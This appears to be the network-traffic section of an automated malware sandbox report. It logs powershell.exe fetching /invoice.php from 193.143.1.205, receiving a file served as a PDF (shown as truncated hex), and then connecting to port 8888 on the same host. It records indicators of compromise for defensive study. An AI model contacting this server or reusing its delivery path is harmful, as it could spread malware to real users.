Jan 11, 2025 08:21:26.990626097 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.990650892 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.207250118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.207299948 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.419976950 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425055981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425072908 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425093889 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425105095 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425120115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425126076 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425132990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425139904 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425147057 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425194979 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425266027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425278902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425290108 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425301075 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425302029 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425313950 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425331116 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425354004 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425549030 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425560951 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425566912 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425573111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425579071 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425625086 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425636053 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425647020 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425652027 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425661087 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425673008 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.425678015 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425697088 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.425708055 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426170111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426182032 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426192999 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426203966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426213980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426214933 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426227093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426234961 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426239014 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426250935 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426261902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426264048 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426271915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426278114 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426285028 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426295996 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426314116 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426318884 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426357031 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426904917 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426918030 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426928997 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426939011 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426947117 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426950932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426956892 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426963091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426975012 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426985979 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.426995039 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.426996946 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427004099 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427009106 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427021027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427031994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427042961 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427053928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427056074 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427066088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427077055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427084923 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427092075 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427098036 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427134991 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427758932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427771091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427782059 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427792072 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427802086 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427809954 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427814007 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427825928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427835941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427844048 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427848101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427859068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427862883 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427871943 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427874088 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427884102 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427896023 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427906036 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427908897 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427917957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427930117 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427939892 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.427941084 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.427963018 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428725004 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428738117 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428747892 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428760052 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428766966 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428771019 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428782940 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428785086 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428795099 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428807020 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428812027 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428818941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428831100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428831100 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428842068 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428853035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428864002 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428865910 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428875923 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428884983 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428886890 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428899050 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428910971 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428914070 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428921938 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.428942919 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.428952932 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.429665089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429682970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429696083 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429707050 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429707050 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.429713011 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429719925 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429724932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429729939 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429737091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429742098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429748058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429754972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429760933 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429773092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429778099 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429784060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429799080 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429811001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.429816008 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.429846048 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430577040 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430594921 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430607080 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430619955 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430624962 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430632114 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430644035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430655003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430655956 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430665016 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430666924 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430679083 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430690050 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430696964 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430701017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430712938 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430713892 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430723906 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430736065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430746078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430749893 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430757046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430768013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430774927 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430782080 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.430794001 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.430813074 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.431497097 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431509018 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431519985 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431529999 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431540966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431550980 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.431550980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431565046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431576967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431586981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431586981 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.431597948 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.431600094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431612968 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431624889 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431636095 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431638956 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.431649923 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431660891 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431665897 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.431673050 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431682110 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.431684017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.431698084 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.431729078 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.432411909 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432425022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432439089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432454109 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432456970 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.432466984 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432477951 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432488918 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432501078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432511091 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432517052 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.432523966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432535887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432544947 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.432547092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432559967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:27.432559967 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.432584047 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.480165005 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.648519039 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:27.982254028 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:28.423191071 CET	49743	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:28.428170919 CET	8888	49743	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:28.428251982 CET	49743	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:28.428451061 CET	49743	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:28.433325052 CET	8888	49743	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:29.270440102 CET	8888	49743	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:29.323896885 CET	49743	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:29.393093109 CET	49743	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:40.470179081 CET	49956	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:21:40.475123882 CET	53	49956	1.1.1.1	192.168.2.6
Jan 11, 2025 08:21:40.475198030 CET	49956	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:21:40.480087042 CET	53	49956	1.1.1.1	192.168.2.6
Jan 11, 2025 08:21:40.953207970 CET	49956	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:21:40.958197117 CET	53	49956	1.1.1.1	192.168.2.6
Jan 11, 2025 08:21:40.958265066 CET	49956	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:21:40.469718933 CET	53	60472	1.1.1.1	192.168.2.6
Jan 11, 2025 08:21:41.474281073 CET	62581	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:22:05.454296112 CET	51566	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:21:41.474281073 CET	192.168.2.6	1.1.1.1	0x735b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:22:05.454296112 CET	192.168.2.6	1.1.1.1	0xab90	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:21:41.484743118 CET	1.1.1.1	192.168.2.6	0x735b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:22:05.462802887 CET	1.1.1.1	192.168.2.6	0xab90	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	193.143.1.205	80	3476	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:21:25.559521914 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:21:26.390713930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:21:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:21:26.390743017 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:21:26.390758991 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:21:26.390822887 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:21:26.390945911 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:21:26.390961885 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 08:21:26.390978098 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
